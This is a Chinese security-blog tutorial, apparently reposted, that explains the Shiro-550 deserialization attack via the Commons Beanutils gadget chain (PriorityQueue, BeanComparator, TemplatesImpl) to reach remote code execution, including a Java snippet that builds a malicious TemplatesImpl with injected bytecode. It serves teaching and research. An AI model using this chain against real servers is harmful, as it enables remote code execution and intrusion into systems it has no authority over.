第107天-Shiro550漏洞深度解析:无CC依赖?CB链一招制敌!

admin 2026-03-27 14:17:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析Shiro550漏洞中不依赖CC链的CB利用链,介绍了反序列化利用链的三要素模型,详细阐述了CB链的原理、构造方法和执行流程,为Java反序列化漏洞利用提供了新的思路和方法。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全开发,漏洞POC


cover_image

第107天-Shiro 550 漏洞深度解析:无 CC 依赖?CB 链一招制敌!

原创

Сяо Яо Сяо Яо

AlphaNet

2026年3月25日 21:04 韩国

🤔 引言:Shiro 的“新”弱点?

嗨,各位未来的白帽黑客和安全开发者!👋

当我们谈论 Java 反序列化漏洞时,Apache ShiroCommons Collections(CC) 几乎是绑定的经典组合。但问题来了:

👉 如果目标环境没有 CC 依赖怎么办?

很多人会下意识认为“无解”。但真正的答案是:

依然可以打,而且更隐蔽。

今天我们要讲的,就是一条实战价值极高的利用链:

🚀 Commons Beanutils(CB)链

它不依赖 CC,却依然可以实现 RCE(远程代码执行),是进阶 Java 安全必须掌握的一条链。


1️⃣ 是什么:反序列化利用链三要素

在深入 CB 链之前,先建立一个核心模型👇

任何反序列化利用链,本质都由三部分组成:


➡️ 1. Source(入口点)

  • 触发点

  • 一般是 readObject() 方法

  • 反序列化时自动执行

👉 本链入口:

PriorityQueue

🔗 2. Gadget(调用链)

  • 一系列“合法类”的组合

  • 利用方法调用串联执行路径

👉 本链核心:

BeanComparator

🎯 3. Sink(执行点)

  • 最终危险操作发生的位置

  • 通常是:

  • 反射

  • 类加载

  • 命令执行

👉 本链终点:

TemplatesImpl

📌 一句话总结:

PriorityQueue → BeanComparator → TemplatesImpl → RCE

2️⃣ 为什么:CB 链的核心原理

这条链之所以成立,依赖两个关键机制👇


🧠 关键点 ①:PropertyUtils 的“隐式调用”

Commons Beanutils 提供:

PropertyUtils.getProperty(obj, "name")

本质做的事情是:

自动调用 → obj.getName()

👉 攻击思路:

我们控制:

  • obj = TemplatesImpl

  • property = “outputProperties”

那么就变成:

TemplatesImpl.getOutputProperties()

✔️ 成功进入危险类


💣 关键点 ②:TemplatesImpl = 内置 RCE 引擎

这是整条链的“核弹级组件”。

调用路径:

getOutputProperties()
→ newTransformer()
→ getTransletInstance()
→ defineTransletClasses()
→ defineClass()

最终结果:

✅ 加载我们注入的恶意字节码

✅ 执行任意代码


💻 恶意 TemplatesImpl 构造(可滚动代码)

// 获取恶意类字节码
ClassPool pool = ClassPool.getDefault();
CtClass evilClass = pool.get("com.govuln.shiroattack.Evil");

// 创建 TemplatesImpl
TemplatesImpl obj = new TemplatesImpl();

// 写入恶意字节码
setFieldValue(obj, "_bytecodes", new byte[][]{
    evilClass.toBytecode()
});

// 必须字段(否则不会触发)
setFieldValue(obj, "_name", "pwn");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

📱 说明:

  • 在公众号中,该代码块会自动支持左右滑动

  • 不会换行,不会溢出页面


3️⃣ 怎么做:完整利用链执行流程

现在把链路拼起来👇


🔥 Step 1:入口触发

PriorityQueue.readObject()

反序列化触发


🔗 Step 2:堆重建触发 compare

heapify()
→ siftDown()
→ siftDownUsingComparator()
→ comparator.compare()

⚙️ Step 3:BeanComparator 执行

PropertyUtils.getProperty(o1, property)

👉 实际效果:

TemplatesImpl.getOutputProperties()

💥 Step 4:触发 RCE

getOutputProperties()
→ newTransformer()
→ defineClass()
→ 执行恶意字节码

🚀 完整调用链

PriorityQueue.readObject()
→ heapify()
→ siftDown()
→ siftDownUsingComparator()
→ BeanComparator.compare()
→ PropertyUtils.getProperty()
→ TemplatesImpl.getOutputProperties()
→ newTransformer()
→ defineClass()
→ 💥 RCE

✨ 核心总结


✅ 1. 利用链本质

| 组件 | 作用 | | — | — | | PriorityQueue | 入口 | | BeanComparator | 调用桥 | | TemplatesImpl | 执行 |


✅ 2. CB 链核心优势

  • ❌ 不依赖 Commons Collections

  • ✅ 更隐蔽

  • ✅ 绕过部分防御


✅ 3. 攻击本质

利用“合法 API + 反射机制”构造非法执行路径


🧠 进阶思考

给你一个真正拉开差距的问题:

❓ 除了 PriorityQueue,还有哪些类可以作为 Source?

思考方向:

  • 是否实现 Serializable

  • 是否存在 readObject

  • 是否能触发方法调用链


🎯 结尾

如果你能真正理解这条链,你已经进入了:

🧩 Java 反序列化利用的中级阶段


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet Сяо Яо Сяо Яо《第107天-Shiro 550 漏洞深度解析:无 CC 依赖?CB 链一招制敌!》

2025陕西数据安全决赛 网络安全文章

2025陕西数据安全决赛

文章总结: 本文详细介绍了2025年陕西数据安全决赛的多个赛题,涵盖数据泄露、隐藏、脱敏、网签文件分析、流量分析、加密程序逆向以及图片水印审计等多个安全领域。内
评论:0   参与:  0